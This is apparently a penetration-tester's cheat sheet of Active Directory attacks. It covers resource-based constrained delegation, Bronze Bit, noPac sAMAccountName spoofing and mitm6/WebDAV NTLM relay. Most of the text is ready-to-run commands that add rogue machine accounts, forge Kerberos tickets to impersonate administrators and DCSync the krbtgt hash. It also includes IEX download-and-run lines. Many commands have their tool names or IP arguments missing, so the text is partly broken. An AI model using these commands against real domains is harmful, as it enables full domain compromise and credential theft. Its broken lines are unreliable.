Resource-based Constrained

MAQ (Machine Account Quota)

PowerShell (ActiveDirectory module):

PS > Get-ADObject -Identity "DC=megacorp,DC=local" -Properties * | select ms-ds-machineAccountQuota


PV3 > Get-DomainObject -Identity "DC=megacorp,DC=local" | select ms-ds-machineAccountQuota


$ windapsearch --dc -d megacorp.local -u snovvcrash -p 'Passw0rd1!' -m custom --filter '(&(objectClass=domain)(distinguishedName=DC=megacorp,DC=local))' --attrs ms-ds-machineAccountQuota
$ ldeep ldap -d megacorp.local -u snovvcrash -p 'Passw0rd!' -s ldap:// search '(&(objectClass=domain)(distinguishedName=DC=megacorp,DC=local))' ms-ds-machineAccountQuota


$ cme ldap -u snovvcrash -p 'Passw0rd!' -M MAQ


RBCD from Windows

Load tools:

PS > IEX(New-Object Net.WebClient).DownloadString("")
PS > IEX(New-Object Net.WebClient).DownloadString("")

Define credentials for the compromised account with the necessary DACL:

PS > $userWithDaclUsername = 'megacorp.local\snovvcrash'
PS > $userWithDaclPassword = ConvertTo-SecureString 'Qwe123!@#' -AsPlainText -Force
PS > $cred = New-Object System.Management.Automation.PSCredential($userWithDaclUsername, $userWithDaclPassword)

Add new machine account and configure RBCD (i.e., set msDS-AllowedToActOnBehalfOfOtherIdentity property to value of the new machine account SID) on the vulnerable host (DC01):

Powermad > New-MachineAccount -MachineAccount fakemachine -Password $(ConvertTo-SecureString 'Passw0rd!' -AsPlainText -Force) -Verbose
PV3 > $computerSID = Get-DomainComputer -Identity fakemachine -Properties ObjectSid -Verbose -Credential $cred | select -Expand ObjectSid
PS > $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($computerSID))"
PS > $SDBytes = New-Object byte[] ($SD.BinaryLength)
PS > $SD.GetBinaryForm($SDBytes, 0)
PV3 > Get-DomainComputer DC01.megacorp.local -Verbose -Credential $cred | Set-DomainObject -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity'=$SDBytes} -Verbose -Credential $cred
PS > .\Rubeus.exe hash /domain:megacorp.local /user:fakemachine$ /password:Passw0rd!

Ask TGS for CIFS and also inject other potentially useful service names into the ticket (sname field is not protected in TGS-REQ):

PS > .\Rubeus.exe s4u /domain:megacorp.local /user:fakemachine$ /rc4:FC525C9683E8FE067095BA2DDC971889 /impersonateuser:DC01$ /msdsspn:CIFS/DC01.megacorp.local /altservice:host,wsman,ldap,http /ptt

If the ticket cannot be imported or there's no access to corresponding services, troubleshoot it:

  • Try impersonating different privileged users when requesting the ticket.

  • Try using FQDN to NetBIOS under /msdsspn parameter (i.e., CIFS/DC01.megacorp.local > CIFS/DC01).

After the ticket has been successfully imported we can go for filesystem access (CIFS), PSRemoting (WSMAN), DCSync (LDAP) and so on:

PS > klist
PS > cd \\DC01.megacorp.local\c$
PS > ls
PS > c:
PS > Enter-PSSession -ComputerName DC01.megacorp.local
PS > exit
PS > ...DCSync...

Clean up:

PV3 > Get-DomainComputer DC01.megacorp.local -Verbose -Credential $cred | Set-DomainObject -Clear 'msDS-AllowedToActOnBehalfOfOtherIdentity' -Verbose -Credential $cred
Powermad > Remove-MachineAccount -MachineAccount fakemachine

PowerView 4.0

Configure RBCD on the vulnerable host (DC01):

PV4 > Set-DomainRBCD DC01 -DelegateFrom fakemachine -Verbose

Clean up:

PV4 > Set-DomainRBCD DC01 -Clear -Verbose

RBCD from Linux

Add new machine account:

$ -computer-name 'fakemachine' -computer-pass 'Passw0rd!' -dc-ip -dc-host DC02.megacorp.local megacorp.local/snovvcrash:'Qwe123!@#'

Ask TGS for LDAP:

$ -spn ldap/DC01.megacorp.local -impersonate 'DC01' -dc-ip megacorp.local/fakemachine:'Passw0rd!'


Configure RBCD on the vulnerable host (DC01):

$ python3 -f fakemachine -t DC01 -dc-ip megacorp.local/snovvcrash:'Passw0rd!'
$ python3 -f fakemachine -t DC01 -dc-ip megacorp.local/'MEGACORP\SRV01$' -hashes :fc525c9683e8fe067095ba2ddc971889


Configure RBCD on the vulnerable host (DC01) via PtH:

$ python3 -t 'CN=dc01,OU=Domain Controllers,DC=megacorp,DC=local' -d megacorp.local -c 'CN=fakemachine,CN=Computers,DC=megacorp,DC=local' -u snovvcrash -H fc525c9683e8fe067095ba2ddc971889:fc525c9683e8fe067095ba2ddc971889 -l


$ -delegate-from 'FAKEMACHINE$' -delegate-to 'SRV01$' -dc-ip -k -no-pass -action {read,write,remove,flush} megacorp.local/snovvcrash

Bronze Bit


Calculate Kerberos keys for the fake machine account with Get-KerberosAESKey:

PS > Get-KerberosAESKey -Password 'Passw0rd!' -Salt MEGACORP.LOCALfakemachine
AES128 Key: 01C7B89A74F7AEC1007DED2F3DE0A815
AES256 Key: 211E8E3134ED797B0A2BF6C36D1A966B3BED2B24E4AAA9ECEED23D0ABF659E98

Or with Mimikatz:

mimikatz # kerberos::hash /domain:megacorp.local /user:fakemachine /password:Passw0rd!
        * rc4_hmac_nt       fc525c9683e8fe067095ba2ddc971889
        * aes128_hmac       01c7b89a74f7aec1007ded2f3de0a815
        * aes256_hmac       211e8e3134ed797b0a2bf6c36d1a966b3bed2b24e4aaa9eceed23d0abf659e98
        * des_cbc_md5       621a91461f1adffe

Now you can impersonate a protected user:

$ -computer-name fakemachine -computer-pass 'Passw0rd!' -dc-ip -dc-host DC01.megacorp.local megacorp.local/snovvcrash:'Qwe123!@#'
$ python3 -t 'CN=dc01,OU=Domain Controllers,DC=megacorp,DC=local' -d megacorp.local -c 'CN=fakemachine,CN=Computers,DC=megacorp,DC=local' -u snovvcrash -H 79bfd1ab35c67c19715aea7f06da66ee:79bfd1ab35c67c19715aea7f06da66ee -l
$ -spn ldap/DC01.megacorp.local -impersonate 'administrator' -dc-ip megacorp.local/fakemachine -hashes :fc525c9683e8fe067095ba2ddc971889 -aesKey 211e8e3134ed797b0a2bf6c36d1a966b3bed2b24e4aaa9eceed23d0abf659e98 -force-forwardable
$ DC01.megacorp.local -just-dc-user 'MEGACORP\krbtgt' -dc-ip -no-pass -k


RBCD with UPNs

User j.doe is populated within the msDS-AllowedToActOnBehalfOfOtherIdentity property of the SRV01 machine:

PS > Set-ADComputer SRV01 -PrincipalsAllowedToDelegateToAccount j.doe

Request a regular TGT for j.doe:

PS > .\Rubeus.exe asktgt /user:j.doe /rc4:fc525c9683e8fe067095ba2ddc971889 /nowrap

Request a U2U ticket providing TGT within the /ticket and /tgs options and specifying the user to impersonate within the /targetuser option (this is an S4U2self request):

PS > .\Rubeus.exe asktgs /u2u /targetuser:<USER_TO_IMPERSONATE> /nowrap /ticket:<TGT> /tgs:<TGT>

Obtain a hex view of the current TGT session key (RC4 HMAC):

$ python3 -c 'import binascii,base64;print(binascii.hexlify(base64.b64decode("<TGT_SESSION_KEY_B64>")).decode())'

Set j.doe's NT hash to the hexlified TGT session key:

$ megacorp.local/j.doe:'Passw0rd!'@DC01.megacorp.local -newhashes :<TGT_SESSION_KEY_HEX> -altuser MEGACORP/snovvcrash -altpass 'Passw0rd123!'

Go for the S4U attack providing the initial TGT within the /ticket option and the forwardable TGS (got from the U2U request) within the /tgs option (only the S4U2proxy part is performed):

PS > .\Rubeus.exe s4u /msdsspn:host/SRV01.megacorp.local /altservice:http /ticket:<TGT> /tgs:<TGS> /createnetonly:C:\Windows\System32\cmd.exe /show


PS > .\Rubeus.exe s4u /u2u /user:j.doe /rc4:fc525c9683e8fe067095ba2ddc971889 /impersonateuser:administrator /msdsspn:host/SRV01.megacorp.local /altservice:http /createnetonly:C:\Windows\System32\cmd.exe /show

RBCD for PrivEsc

$ megacorp.local/'PC01$' -hashes :`pypykatz crypto nt 'Passw0rd!'` -dc-ip -impersonate administrator -altservice CIFS/PC01.megacorp.local -self

sAMAccountName Spoofing (noPac)

CVE-2021-42278, CVE-2021-42287


Look at the size of the returned TGT. If the DC is not vulnerable, the TGT will contain the PAC part and be obviously larger:

PS > .\Rubeus.exe asktgt /domain:megacorp.local /dc:DC01.megacorp.local /user:snovvcrash /password:Passw0rd! /nopac /nowrap


# create a new machine account
PM > New-MachineAccount -Domain megacorp.local -DomainController DC01.megacorp.local -MachineAccount FakeMachine -Password $(ConvertTo-SecureString 'Passw0rd!' -AsPlainText -Force) -Verbose
# clear SPNs
PV3 > Set-DomainObject "CN=FakeMachine,CN=Computers,DC=megacorp,DC=local" -Clear servicePrincipalName -Verbose
# change fake machine's sAMAccountName
PM > Set-MachineAccountAttribute -MachineAccount FakeMachine -Value DC01 -Attribute sAMAccountName -Verbose
# request TGT
PS > .\Rubeus.exe asktgt /domain:megacorp.local /dc:DC01.megacorp.local /user:DC01 /password:Passw0rd! /nowrap
# change fake machine's sAMAccountName once again
PM > Set-MachineAccountAttribute -MachineAccount FakeMachine -Value FakeMachine -Attribute sAMAccountName -Verbose
# request S4U2self
PS > .\Rubeus.exe s4u /domain:megacorp.local /dc:DC01.megacorp.local /altservice:LDAP/DC01.megacorp.local /impersonateuser:Administrator /self /ptt /ticket:<BASE64_TGT>
# fire DCSync
PS > .\mimikatz.exe "lsadump::dcsync /domain:megacorp.local /dc:DC01.megacorp.local /user:MEGACORP\krbtgt" "exit"

dNSHostName Spoofing (Certifried)


anchorAbuse RBCD

mitm6 + WPAD + LDAPS NTLM Relay + RBCD

$ -t ldaps://DC01.megacorp.local --delegate-access -wh attacker-wpad --no-smb-server --no-wcf-server --no-raw-server --no-dump --no-da --no-acl --no-validate-privs [-debug]
$ sudo mitm6 -i eth0 -d megacorp.local --ignore-nofqdn

WebDav + LDAPS NTLM Relay + RBCD

$ cme smb -u snovvcrash -p 'Passw0rd!' -M webdav
$ -t ldaps://DC01.megacorp.local --delegate-access [--escalate-user 'PWNED-MACHINE$'] --no-smb-server --no-wcf-server --no-raw-server --no-dump --no-da --no-acl --no-validate-privs
$ sudo ./ -I eth0 -wd -P -v
$ python -d megacorp.local -u snovvcrash -p 'Passw0rd!' attacker@80/test.txt VICTIM.megacorp.local
$ -spn cifs/VICTIM.megacorp.local MEGACORP/'PWNED-MACHINE$' -dc-ip -hashes :fc525c9683e8fe067095ba2ddc971889 -impersonate administrator

Clean Up

PS > Get-ADComputer -Identity FakeMachine | Remove-ADComputer -Confirm:$False
PS > Get-ADComputer -Identity SRV01 -Properties * | select -Expand msds-allowedToActOnBehalfOfOtherIdentity
PS > Get-ADComputer -Identity SRV01 | Set-ADComputer -Clear msds-allowedToActOnBehalfOfOtherIdentity

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